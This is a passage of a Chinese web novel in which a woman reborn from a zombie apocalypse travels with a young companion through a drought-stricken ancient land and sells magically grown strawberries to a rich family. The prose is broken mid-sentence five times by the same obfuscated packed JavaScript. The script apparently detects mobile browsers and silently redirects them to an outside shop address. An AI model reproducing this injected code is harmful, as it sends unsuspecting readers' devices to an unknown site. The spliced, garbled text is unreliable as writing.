季舟倒不介意穿旧衣,更不介意穿男装,可之前颜姝还提议两人假扮夫妻,让她装男人她就有点恼。只是入乡随俗的道理她也懂,自己眼下的打扮有些不合时宜,再看颜姝的身量,她也知道小姑娘的衣裳自己穿不了。于是心里别别扭扭,手上到底还是将衣裳接了过来。 颜姝松了口气,权当季舟是答应了自己的提议,眉眼都放松了几分。她左右看了看,很快在附近找到一块巨石,正要提议季舟可以去巨石后面更衣,就见面前人已经大咧咧解了衣裳。 “呀!”颜姝惊呼一声,赶紧转身避开了目光,一张脸却已经涨得通红。 季舟:“???” 她低头看了看自己,外套脱了里面还穿着T恤呢,顶多是露出了胳膊,这有什么好避讳的?再说大家都是女孩子,她就算是脱光了换也没什么大不了的吧,至于这么大反应吗? 末世出生的人不明白古人的保守,季舟心里犯着嘀咕,手上动作倒是不慢。 不一会儿她就换好了衣裳,伸手戳了戳颜姝的后肩:“好了,我换完衣服了,你可以转过来了。” 颜姝的脸还是通红的,比之前在烈日下走了半天还要烫。她稍稍回过头来,余光见季舟果然已经穿好了衣裳,这才转过身来,支支吾吾说道:“你,你,下次你别这样了。” 季舟明白入乡随俗,可这回也没忍住反驳:“我怎么了?” 颜姝脸更红了,眼神也有些飘忽:“你,这里是野外,说不定远处就有人能看到这边,下次你换衣裳避着些人。万一让人看了去,总归是……不太好。” 季舟这才留意到颜姝的站位其实是有替她遮挡的意思,虽然她很清楚附近根本没人,但心里也不由软了软,藏在心底的那点恼意也散了大半。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375258|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她眉眼放松下来,整个人的气场都软了三分:“嗯,好,我知道了。” 颜姝听出她语气放软,心里也跟着放松了许多,这才收回目光看向眼前人——季舟的头发扎成了利落的马尾,眉眼间透着英气,再换上父亲的长衫,不必特地伪装就像个英气的小郎君。这样一来她都不用假装,只要跟在对方身边,旁人也会以为她们是一对小夫妻的。 不过颜姝知道季舟大概不乐意听这话,于是伸手替季舟理了理衣襟,话锋一转说道:“我爹没有你高,这衣裳穿在你身上,好像有些短了。” 季舟不解的低头看了看,这衣裳长度都到她小腿了,这还算短?! 大热天的还穿这么长的衣服,在季舟看来就是有毛病,要不是末世随时可能遇到丧尸,她也不会把自己裹得那么严实。不过衣裳的问题终究是小事,再加上异能者体质优秀也不怕热,所以她也就没多说什么,转而问道:“现在时间还早,咱们要继续上路吗?” 颜姝也看了看天色,旋即点头:“走吧,早点到府城,也免得夜长梦多。” 季舟无所谓早一日或晚一日到府城,她只护送着人到地方就行。当下主动把两个沉甸甸的水囊往身上一挂,又看了眼颜姝背着的小包裹:“行李重吗?要我帮你背吗?” 颜姝抱着又小了一圈的包裹摇了摇头:“不用了,我自己来就好。” 两人相携下了山,日头还是那样晒,不过因为水源充足,这次再上路季舟的话就多了不少。她也不问颜姝的私事,只不动声色问些日常的问题,借此了解这个全新的世界。 很快她就知道了,这是一个发展极其落后的世界。 这里没有多少科技产物,更没有异能。交通靠畜力,通讯靠书信,田地产量也很低,百姓幸苦一年也时常食不果腹。读书科举是难得的上升阶梯,颜姝的父亲就是个有功名在身的秀才。但科举只是男人们的游戏,女人连入场的资格都没有,她们只会被关在家里相夫教子。 季舟越听眉头皱得越紧,这个新世界显然没有她想象中那样好。但转念一想,这个世界没有动不动就搞一出围城的丧尸,也没有冷不丁就袭击人的变异兽,似乎也没什么值得计较的了。 呼吸着山野清新的空气,想通后的她眉头又舒展开,总归有本事的人在哪儿都饿不着的。 6. 逃荒的第六天 颜姝和季舟这一走就走到了日暮时分,换做往常颜姝就会找个人少的地方停下。一来是她走了一天早饿了,这时候就该休息和吃些东西补充体力,顺便再挖些野菜填补干粮的不足。二来也是她独身一人不敢摸黑上路,遇到合适的地方宁可早停也不敢多走。 可这回却有些不同,下午已经补充过食水不说,有季舟穿上男装同行之后,她明显感觉到周围微妙的目光少了。如此一来,她的选择也从容了许多。 不过在做决定之前,她还是先问过了季舟:“天快黑了,咱们还继续走吗?” 季舟闻言抬头看了看天色,夕阳已经落下大半,如今天际一片红彤彤的火烧云分外醒目——其实在末世是不适合夜间行动的,因为夜里丧尸会更活跃,变异兽也更容易隐匿袭击。但现在不是末世了,活了二十几年没走过夜路的季舟陡然有些叛逆,她就想晒着星光月光走一走。 这般心念一动,她就扭头反问颜姝:“你累不累,还走得动吗?” 颜姝是个聪明人,一听这话就知道季舟是想继续走。说实话顶着烈日走一天她很累了,但夜里出行其实比白天更合适,一来凉爽,二来路上没人她还能放松些。 于是略一思忖她便回道:“还行,现在还能走得动。” 季舟听了就说:“那咱们再走走吧,等你走不动就停下休息。”说完顿了顿,又道:“你的干粮吃完了,不是说要去枫亭镇补给,早些到也好。” 颜姝答应了,也并不觉得为难。事实上比起那些拖家带口还搬家当逃荒的人来,她这一路要轻松太多,现在连最重的水囊都交给季舟背着了,她背着那小包袱就跟甩着两只手赶路也没什么区别。再加上她到底年轻,走了这些天体力也练出来一些,赶夜路问题也不大。 两人达成了共识就没再停下,顶着暮色继续上路。 连日放晴,夜里天空也没有半片云彩遮挡,半圆的明月挂在天际,洒落的清辉足以照亮脚下的道路。季舟和颜姝连个照明的工具都没有,也依旧走得稳当。 路上两人有一句没一句的聊着,时间倒也过得飞快,不知不觉就到了半夜。 季舟感觉还好,现代人就没几个不熬夜的,到了末世也一样。可颜姝就有些熬不住了,她呵欠连天,脚步也变得拖沓起来,仿佛走着走着就能原地睡过去。 终于,扛不住的颜姝轻轻拽住了季舟衣袖:“我,我有些走不动了,咱们找个地方休息一会儿好吗?” 季舟当然没有不答应的,她左右看了看,便带着颜姝离开了大路,又绕过一片山坡这才找了个避风的地方:“这里可以吗?应该不会有人过来。” 颜姝这些天都是睡在荒郊野外的,自然没什么不可以。更何况比起之前,现在她身边至少还多了个季舟——同为女郎,对方还救过她,一天相处下来也不像个会谋财害命的。如此夜里两人相互依偎取暖也能让她放心许多,至少不会噩梦连连,时不时就要惊醒。 两人就在山坡后窝了一夜。第二日天蒙蒙亮,季舟睁开眼就瞧见颜姝揪着她的衣袖靠在她的肩头,就差没直接钻她怀里了。 季舟:“……”两人才认识一天,这人也是够心大的。 心里吐槽归吐槽,但季舟也没将人推开。她又闭上眼醒了会儿神,就感觉肚子里传来一阵“咕噜噜”的叫声,却是五脏庙造起了反。 算算时间,还是昨天下午颜姝分了她半个饼,之后两人还赶了半日的路。亏得末世人都习惯了忍受饥饿,不然季舟恐怕早就饿得睡不着了。 只是醒来也没吃的,她的食物早在重生前就吃光了,颜姝最后一个饼也已经吃完了。按照颜姝的说法,她是打算找些野菜充饥,只是昨日两人一路也有留意,却没找到半棵野菜……路边的荒草都没剩几根,再过些天说不定连草根都会被人挖走。 季舟揉了揉肚子,这都不是末世了,她当然也没打算委屈自己。 手掌一翻,一颗小小的种子便出现在了她的手上,季舟随意往地上一扔,木系异能随之输出——刚落地的种子以肉眼可见的速度开始生根发芽,先是长出了嫩叶,接着生出了藤蔓,小小的花苞开始绽放,接着又在瞬息间凋零结果。绿色的小果子慢慢长大,不一会儿就长到了拳头大,然后果实的颜色渐渐从绿变红,初升的朝阳照在上面,红彤彤的分外诱人。 这是一棵末世变异的草莓,个头比末世前的品种更大,产量比末世前更多,吃起来也是清甜多汁。最重要的是它的种子格外的小,带多少在身上也不会嫌累赘。 季舟习惯性留种之后,就将刚催生出来的五颗大草莓摘了下来。 刚长出来的草莓也不脏,都不用洗就能摘了直接吃。季舟也没客气,一口气就吃了三颗,拿第四颗的时候她犹豫了一下,想起了昨日颜姝分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375259|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她的半块饼,到底还是把手收了回来。 算了,反正草莓也不顶饱,还是尽快赶到那什么枫亭镇买粮才是正经——话又说回来,刚重生过来的她身无分文,买粮的钱还得靠颜姝呢,现在对她好一些也是应该的。 季舟说服了自己,也没打算再种一棵草莓。重生后这一天一夜她已经发现了,末世的异能虽然跟着她过来了,但在这个世界异能恢复的速度相当慢。从前半天就能恢复的蓝条,现在恐怕需要一个月,情况不那么糟糕的情况下,能省一点是一点。 守着剩下的两颗草莓又等了半个小时,昨天累极了的颜姝这才醒了过来。 一睁眼就看到烈日高挂在天际,颜姝下意识就皱眉别过了脸——她从前很喜欢晴天的,因为阳光会为万物镀上一层金光,将事物衬托得越发美好。可现在她却是厌恶极了这日头,逃荒路上日日被暴晒,谁都不会觉得好过。更何况旱灾也是由此而来。 就在这时,颜姝耳边传来一道声音:“醒了?” 颜姝刚醒还有些发昏的脑袋顿时清醒了。她一抬头就看到了身旁的季舟,再一转眼又发现自己正靠在对方身上,顿时脸一红,“噌”一下坐了起来。 季舟倒是没说什么,她把特地留下的两颗草莓递到颜姝面前:“野果子,当早饭吧。” 颜姝一愣,她头一回见这么漂亮的果子,还没吃就已经闻到了独属于草莓的香甜气息。这果子一看就很好吃,而且是逃荒路上发现的,就更显珍贵了。 季舟看她犹犹豫豫不敢接,索性就直接塞对方手里了:“吃吧,吃完了还要赶路。这果子就是水分多,也不顶饿,咱们还是得尽快赶去城镇买粮才是正经。” 颜姝听她这样说,终于还是没辜负对方的好意。 红彤彤的草莓一口咬下去,丰沛的汁水顿时盈满了口腔,酸酸甜甜的滋味儿比闻起来更加可口。可惜两个拳头大的草莓看着不小,吃下肚却不觉得多,颜姝甚至觉得自己还能再吃下去两个。 当然,她并没有将这无理要求说出来,只是唇齿间的清甜让她回味了许久。 吃过这顿意外美味的早饭,日头又往上爬了一些,气温也开始逐渐攀升。颜姝当即站了起来,很有经验的说道:“走吧,现在出发还没那么热,等中午日头最烈的时候咱们再找地方休息。” 两人没什么行李,说走就能走,当即出发。 7. 逃荒的第七天 逃荒路不好走,但万幸两人没有行李拖累,一路走得也还算快。 天边的日头越升越高,临近中午的时候,两人终于遥遥望见了一座陌生的小镇。 季舟手搭凉棚朝着小镇望了望,扭头就对颜姝说:“那镇子离这儿只有一二里路了,咱们就不休息了吧,直接进了镇子再找地方落脚?” 颜姝被正午的日头晒得满头是汗,手里的水壶几乎已经空了,不过听了季舟这话也没反对。她喘口气点了点头:“走吧,正好午饭还没着落,咱们可以进镇子里买些干粮。要是客栈还开着的话,说不定还能住一晚歇歇脚。” 禹州的旱灾只有几个月,逃荒的人虽然意外的多,但再乱的世道也不缺想要赚钱的人。所以季舟也没反驳说客栈关了之类的话,见颜姝脚步沉重,还伸手过去扶了一把。 一二里的路并不算远,但对于满身疲乏的旅人来说,也要走上不少时候。 约莫两刻钟后,两人才终于走到了小镇外的牌楼前。木制的牌楼看着古朴又破旧,也不知在这镇子外矗立了多久,明亮的日光洒落在牌楼上,清楚的映照出上面三个方方正正的大字。那写的约莫是小镇的名字,可季舟却一个字都不认识。 站在牌楼下仰头的季舟沉默了,虽然她是末世后出生的九漏鱼,但这也不代表她是文盲啊。现在头顶三个大字她一个都不认识,就只能证明这个世界的文字和她学的不是一回事。 半晌,沦为文盲的季舟无奈叹气,又回头问颜姝:“这里就是你提到的枫亭镇吗?” 哪知颜姝看着牌楼上的镇名也沉默了,半晌后才听她幽幽说道:“不是,这里是长水镇。” 季舟一怔,再抬头去看牌匾上的三个字,原本怎么看怎么陌生的字,这会儿倒是看出了几分熟悉来。这样一看,这个世界的文字和她所学虽然不同,但又有种一脉相承的感觉。 庆幸自己不算彻底文盲的季舟小小的高兴了一下,接着才后知后觉的意识到问题所在:“这里不是枫亭镇,咱们是不是走错路了?我不认识路,长水镇是什么地方你知道吗?这里离府城远吗?” 颜姝听到这一连串的询问简直欲哭无泪,离开双河县之前她也只是个闺中女儿,比起其他姑娘顶多就是跟着她爹多看了两本书。她去过最远的地方也就是颜家村,府城她没有去过,双河县以外的镇子她更是听都没听说过,又哪里知道长水镇是哪儿? 季舟一看她那副要哭不哭的样子就知道,颜姝肯定也不认识路。她有些无奈,但也不能看着小姑娘难过自责,只好伸手揽住人肩膀安慰几句:“好了好了,没事,大不了走点回头路。不认识路也没关系,这么大个镇子摆在眼前,总有人知道该怎么去府城的,咱们打听打听就好。” 有的时候情绪是很容易被人影响的,季舟情绪稳定又耐心安慰,颜姝看到镇名时天塌了一般的糟糕心情很快就被安抚了。 她紧了紧抱在怀里的小包袱,有些庆幸出门前她别的什么都没带,却把家里的银钱全都带上了。有钱就能买水买粮,多走一两天也就不是什么大事了。 季舟眼看着颜姝情绪平复下来,也不再耽搁,推着人肩膀就进了镇子:“走吧,不管这是枫亭镇还是长水镇,咱们都得进去买些粮食路上吃。早上就吃了那么两个果子,这都中午了,你不饿吗?” 这话一出,颜姝到真感到饥肠辘辘了。 去府城的路比她当初预计的要远,带的干粮不够,忍饥挨饿是无可奈何。现在可以花钱买粮了,并不缺钱的颜姝当然不会再亏待自己。 两人旋即进了镇子,这长水镇并不小,镇子里的道路四通八达,不过主街还是进镇子的那一条。两人一路走去,就见两边屋舍鳞次栉比,沿街的各种商铺更是彰显繁华。只不过这份繁华到如今已成了过往,街边的铺子十家有八家都是关着的,剩下一两家也是门可罗雀。 两人找了半条街,终于看到一家还开着的客栈。只是客栈大门虽然开着,里面却没什么客人,小二哥懒洋洋靠在门口打着瞌睡。 季舟头一回逛这“正常”的街市,其实看什么都很稀奇,但这时候也并不露怯。 她上前两步走到小二哥面前,许是挡了风,也许是莫名的直觉,昏昏欲睡的小二忽然一个激灵醒了过来。他一抬眼就看到了面前的小夫妻,下意识起身招呼:“客官是要打尖还是住店?” 季舟:“……”说实话她没听懂什么叫做打尖。 不过没关系,她已经旁敲侧击从颜姝那里知道客栈是做什么的了,那么她只需要说出自己的需求就好:“我们想在客栈里住一晚,还想吃两顿饭,再买点干粮。” 小二这时也已经醒过了神,闻言尴尬一笑:“那个,二位客官想住店没问题,干粮我们客栈也有卖。但这天旱了这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375260|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么久,菜蔬就没有了,水也得按桶卖。不知两位客官意下如何?”说完还把各种花费都报了一遍,价格并不低。 季舟重生过来身无分文,她不清楚这世道的钱币和购买力,听完还没什么感觉。颜姝却是清楚这价格有多贵的,她也不过是秀才之女,哪怕身上带了不少钱,依旧觉得肉疼。 这一点季舟看出来了,但她想了想还是点了头:“行,先住一晚,有干粮吃也行。” 颜姝拽着她的衣角,没有反驳,两人旋即就被小二迎进了客栈。 客栈里掌柜并不在,小二熟门熟路走到柜台后取了门牌钥匙,便领着二人往客房去了:“客官先进屋休息休息,我这就去给二位拿干粮。还有水,不知二位要几桶?” 两人一身的风尘仆仆,看着虽然狼狈,却又舍得花钱住客栈,自然是该洗漱一番的。 季舟倒是不在意这个,末世什么情况没遇见过?每天都能保持干净的人才是少数。她现在身上脏归脏,却不是不能忍受。买水洗漱这种事,花自己的钱也就罢了,花别人的钱她是万万做不到的。因此她回头颜姝一眼,只道:“先取一桶就够了。” 昨天两人取的山泉水路上就喝完了,买这一桶水主要是用来喝,不然生咽干粮也是遭罪。剩下的水是留着路上喝,还是用来洗漱,都由颜姝决定。 小二闻言倒也没有失望,轻快的答应一声,带着两人进了客房。 小镇客栈的客房布置简陋,但好在还算干净,季舟进去扫了两眼就对颜姝说:“你先在屋里休息,我和小二哥一起去取干粮,顺便打听打听去府城的路怎么走。” 颜姝走了半日也累了,听到这话却下意识想跟去,抬脚前犹豫一下还是收了心思,眼巴巴看着季舟点了点头:“嗯,那你去吧,早些回来。” 季舟莫名觉得颜姝那眼巴巴望着自己的样子有点惹人怜,她自己都没察觉就心软了一下,手也放到颜姝脑袋上揉了一把。揉完她就意识到了不妥,收回手干咳一声:“好了,我知道了,你放心休息。要是不放心就把门拴上,回来我会敲门的。” 颜姝耳根有点热,闷闷应了一声就回房去了,也果然将门拴上了。 季舟转头就跟着小二一起离开了,她单独跟小二走也不止是问路,取干粮时还问了另一个问题:“小二哥,这镇上留下的人多吗?现在镇上还有没有什么有钱人?” 8. 逃荒的第八天 长水镇的井还没有干透,镇上的人抱着侥幸心理,大多也还留在镇子上。 季舟向小二打听了一番,便得知镇子上最有钱的富户是住在柳条街的吴家。吴家经营着粮铺生意,整个长水镇的粮食都掌握在他家手上,放在太平年月也不过是赚些辛苦钱,但旱灾一起他家的粮食也是水涨船高,这两年可算是赚了个盆满钵满。 听小二如此说,季舟不免有些惊奇,她从颜姝嘴里听到的消息可不是这样:“禹州干旱不是才几个月吗,怎么吴家前两年就开始赚钱了?” 小二消息显然比关在家中的小姑娘灵通得多,只听他叹口气:“诶,哪儿是今年才旱的啊。咱们禹州是水脉多,往前数几十年都没旱过,现在不也断了流?北边的靖州可就没那么好运了,听说都旱了两三年了,吴家的粮食生意早就做过去了,咱们这儿算什么?” 季舟听完皱了下眉,未雨绸缪问了一句:“北边也旱着吗?那如果要逃荒,该往哪儿去?” 小二今天难得做成了生意,倒也不介意多说两句:“当然是往南边走,江南水乡,那才是不缺水呢。就是去年听说发了洪水,也不那么好过,这老天爷尽会作弄人了。” 季舟将这话听了进去,她目前没有明确的目的地,等把颜姝送去府城之后往江南去也不错。不过那都是后话了,眼下她还是先去弄点钱财傍身才是。于是把水和干粮送回客房之后,她就叮嘱颜姝好好休息,自己咬着块干粮出门了。 长水镇的人虽然还留在镇子里,但这大热的天也没多少人爱出门。再加上最近时常有流民经过,镇上的人就更加小心,几乎家家关门闭户。 季舟走在街上也没看到几个人,万幸出门前和小二打听好了路,这才找到了柳条街。 柳条街顾名思义,街口就种了一排柳树,春日里绿芽新生随风飘荡,定时一副美妙风景。可惜今年旱了许久,高大的柳树也没了精神,细长的柳条上绿叶早就干枯,平添几分萧条。 季舟沿着街口走了进去,没两步就看到了一座宽大的宅邸,气派的大门上“吴宅”两个字分外醒目。再看这大门和牌匾也都是干干净净,显然时常有人打扫,可见宅子里的人非但没走,而且日常生活也没因这场旱灾影响多少。 在门前徘徊一圈,季舟还是放弃了做梁上君子的打算——虽然在末世弱肉强食才是生存铁律,但她这不是已经重生了吗?新世界还有秩序,她就不想做随意打破秩序的那个人。 想到这里,季舟脚步一转去了旁边巷子。 小巷并不宽,幽深静谧,两侧都是高墙,正是相邻两座宅邸的分隔。再往前隐约能看到两个角门,应是两家奴仆出入的地方,只是眼下门扉紧闭,也没什么人走动。 季舟瞧见没人就很满意,她随意掏出两颗草莓种子仍在了地上,早晨异能催生的那一幕复又重现。前后不过几息的功夫,地上就多了十来个红彤彤的大草莓。她弯腰将草莓摘了下来,后知后觉意识到没带东西过来装,只好兜起下摆把草莓放了进去。 采摘过后的草莓藤也没了异能维持蕴养,瞬息间枯萎成了一团杂草。季舟也不留它在路上绊脚,随意两脚将起踹了出来,踢到路边。 做完这些,兜着草莓的季舟看了看前方的角门,想了想还是退了出去,直往正门而去。 吴宅正门的铜环被敲响了三下,门里很快就有人应了一声:“来了来了,等会儿。” 季舟没等几息,眼前的大门就被打开了,一个二十来岁穿着短褐的年轻人从里面探出头来。他盯着季舟上下打量了几眼,一时也没闹明白对面这人是什么来路——穿着读书人的长衫,却不讲究的用衣摆兜着果子,长得倒是一副好相貌,可他也不认识这人。 犹豫再三,吴家门房还是放缓了态度:“不知这位小哥敲门何事?” 季舟哽了一下,虽说她是穿了男装,可别人毫不怀疑喊她“小哥”什么的,还是让人相当郁闷的。心里暗暗气闷了一下,季舟还是说起了正事:“听说你们府上老夫人近日胃口不佳,我这里有些酸甜开胃的新鲜果子,不知府上可要?” 门房便将目光落在了季舟兜着的草莓上,红彤彤的果子确是喜人,隔着几步路也闻道了一股清甜味。光凭这股果香,不用尝也知道这果子定是生津止渴。 咽了咽喉咙,门房恋恋不舍的收回目光:“等着,我去问问管家。” 话音落下,大门就关上了,季舟听到门后有人匆匆离去的脚步声。又等了没一会儿,另一道陌生的脚步声就跟着门房的脚步声回来了。 吴宅的门再次打开,这次出面的是个管家打扮的老头。他先是将季舟上下打量了一遍,这才扫了她兜着的草莓一眼:“这果子还算新鲜,你打算卖多少钱?” 季舟其实不清楚这地方的物价,但她一直听说末世前的草莓也不便宜,当下想了想就报了一个价:“这一兜果子,十两银子。” 这话一出,她就听到门房倒吸了一口凉气,显然是觉得贵了。 但季舟不觉得。且不说草莓本身就贵,光是干旱就让物价上涨了不知多少。她和颜姝今日在客栈的花销就要五两银子,她花一半留一半也不算狮子大开口吧?再则季舟一直都知道,有钱人面对好东西,是不在乎价高的。 对面的管家果然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375261|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像门房那样大惊小怪,却也没有直接掏钱,他瞥了季舟兜着的草莓一眼:“你这什么果子,见都没见过,就敢卖十两银子?!” 今早哄人说是野果,颜姝也不认识草莓,这里应该是没有草莓了。 管家这话有理,季舟想了想就拿了一个递出去:“既然如此,你可以拿去给老夫人尝尝。” 拳头大的草莓拿到手里,那股清甜的草莓香就更明显了。饶是管家见惯了好东西,面对这样香甜的果子也忍不住口舌生津,有些想要尝尝。 只是这果子卖得贵,季舟又是点名要给老夫人尝,他也就不好直接下口了。 管家皱了下眉,到底做了下面子功夫:“行,你先在这儿等着。” 说完两人又回去了,吴宅的大门也再一次在季舟面前关上。说实话季舟已经有些不耐了,就十两银子的东西,管家都做不了主,说好的富户就跟假的似的。 而季舟不知道的是,带着草莓回去宅子里的管家并没有将草莓送去后院给老夫人尝,反而拿水冲了冲,就打算自己吃了——倒也不全是他贪吃,只是这来历不明的果子,他哪儿敢往老夫人面前送?万一吃出问题来了,他这小命还要不要了? 至于他自己,反正皮糙肉厚吃不坏,相信也没人会这般明目张胆的上门投毒。 管家想得美,对着红彤彤的草莓就准备咬上一口。哪知他这嘴刚张开,旁边就蹿出个半大小子来,来人体型圆润衣着富贵,正是吴家最受宠的小公子。 吴小公子好吃,有着一副狗鼻子,老远就闻到草莓香了:“老陈,你这吃的什么呢?” 陈管家至少收住了动作:“是外面有个小郎在卖果子,这果子我也没见过,他就让我先尝尝。” 吴小公子已经凑了上去,一脸的垂涎欲滴:“我看挺好的,我替你尝怎么样?” 陈管家一僵,旋即义正言辞:“不可。这果子从前没见过,万一有问题怎么办?” 吴小公子却已经一把将草莓夺了过去,不等陈管家阻拦就一口咬了下去,旋即露出一脸享受神色:“好香好甜的果子,它长得这么好,怎么可能有问题?!” 红色的汁水顺着胖乎乎的手流下,又被手的主人用嘴接了去。拳头大的草莓也没经住吴小公子几口,飞快就被吃完了,他还有些意犹未尽。 回味似的舔了舔唇,口中独属于草莓的清甜滋味儿渐渐淡了,吴小公子终于想起陈管家刚才的话,转头就往大门跑:“这果子真好吃,门口的小郎还没走吧?我得找他多买些。” 可惜,季舟只种了十来颗草莓,也只卖了十两银子,交易双方都有些惋惜。 9. 逃荒的第九天 吴家的管家不够大气,吴家的小公子却是过于大方了。 季舟原本只想卖十两银子应下急,结果硬是没抗住小胖子的软磨硬泡,答应他晚些时候再送更多的草莓过来——当然,除了该得的十两银子之外,定金她也是没少收的。 离开柳条街,返回客栈,这次季舟没忘记向小二哥接个大篮子,顺便把该付的银子提前给了。 小二哥收了银子自然好说话,扭头就去后院拿了个最大的菜篮子回来:“客官,这篮子怎么样?这可是我们客栈最大的一个了,要不是现在缺水缺菜,这篮子也闲不下来。” 季舟接过篮子看了看,确实挺大,只要拎得动装上百十颗草莓也没问题。她当即向小二哥道了谢,想了想又问:“镇上很缺菜吗?” 小二重重点头:“自然是缺,种菜用得水多啊,但不吃菜又死不了。” 季舟听了若有所思的点点头,又问:“那你觉得像粮铺吴家那样的人家,缺菜吗?” 这次小二却摇头了,一副什么都知道的模样:“普通人家缺菜,他家可不缺。客官您是没看见,吴家那宅子可大了,听说宅子里光水井就打了三口,还都是深井。镇上其他人家缺水,他家可不缺,买不着菜让下人种点来吃也不是问题。” 季舟一听这话,当即就打消了卖菜的想法。水果她也不打算卖草莓以外的,倒不是她没有其他种子,而是草莓是草本植物,还没有果皮全都可以吃,种起来性价比最高。 闲话两句,季舟也没再和小二多言,拎着空篮子就去了客房。 此时距离她出门已经过了一个时辰,颜姝按照她叮嘱的话,这会儿应该睡得正香。季舟敲门时还犹豫了一下,哪知房门刚被敲响,里面就传来了颜姝警惕的声音:“谁?” 季舟略意外,旋即答道:“是我。我回来了,给我开一下门。” 门内很快传来脚步声,房门也被人从里面打开了,门内的颜姝还是季舟离开时的样子,并没有休息过的样子。再加上颜姝刚才那警惕的问话,季舟大概也猜到了小姑娘的不安。 她心软了软,进门的同时说道:“咱们接下来还要赶路,难得住客栈,你怎么不好好休息?” 颜姝跟在她身后关了门,闻言有些窘迫——许是逃荒路上一直提心吊胆,也许是危急时刻季舟救下她,让她生出了依赖,总之没有这个人在身边,她在这陌生的客栈里实在是睡不着。门外偶尔传来风吹草动,她都要紧张一下,直到季舟回来她的安全感才又跟着回来了。 只是两人相识不过一日,这般过于依赖的话她实在不好意思出口。嗫嚅半晌索性越过了这个话题,转而问道:“你怎么才回来?刚才去哪儿了?” 季舟当然不能说自己是去卖草莓赚钱了,她略含糊的回道:“没去哪儿,就在镇上走了走。” 这话听着敷衍,可颜姝也没立场追问,只好说道:“那你一会儿不出去了吧?要不一起休息休息?昨日赶路我也发现了,夜里凉爽些,赶路倒比白日更轻松。” 言外之意就是今晚可以继续赶路,而为了晚上有精神赶路,提前养精蓄锐也是很有必要的。 季舟没有反驳,她也看出自己不在的话,颜姝可能根本睡不安稳。至于给吴小公子送草莓什么的,也不过是跑一趟的事,用异能催生根本花不了多少时间。 两人很快躺在了客房唯一的大床上。 季舟心无旁骛,干脆的闭眼小憩,身旁的颜姝却侧躺着偷看了她好几眼。也不知她是不习惯与人同榻而眠还是怎的,脸上有点红,心也有点乱。不过连日赶路到底疲惫,颜姝偷看了季舟好几眼,又悄悄拽住了她的衣角,这回倒是很快就睡着了。 听着身旁的呼吸声渐渐平稳绵长,早就闭眼的季舟这才睁开了眼睛。她侧过头看了窝在身边的姑娘一眼,又闭上眼睛,这才安心入眠。 …… 这一觉直接睡到了日暮,季舟再次睁开眼睛时,正瞧见夕阳的余晖透过窗棂洒落屋中。 末世养成的习惯,睁眼人就已经清醒了。季舟还记得自己答应给吴小公子送草莓的事,眼下时间也差不多了,她便悄悄起了身,又花了些时间才将衣角从颜姝手中抽了出来。 简单收拾一下,季舟就提着她借来的大篮子出了门。 小二不知什么时候又坐在了门口打瞌睡,季舟从他身边经过时他也没醒。而季舟这一次出门就发现街上多了不少拖家带口的流民,他们当然没钱住客栈,也顾不上住客栈,小镇公用的几口井旁汇聚了整个镇子的热闹。可惜井里的水并不多,众人你争我夺也没抢到几口水。 季舟迅速收回了目光,长水镇水井的事她早就听小二哥提起了。公用的井打水的人太多,早就干得差不多了,镇上的人现在都是花钱买水过活。 比如她住的客栈,现在最大的收入就是靠着后院里的一口深井卖水。 当然,季舟现在也管不着这些人是买水还是抢水,她提着个空篮子从街上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375262|200066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 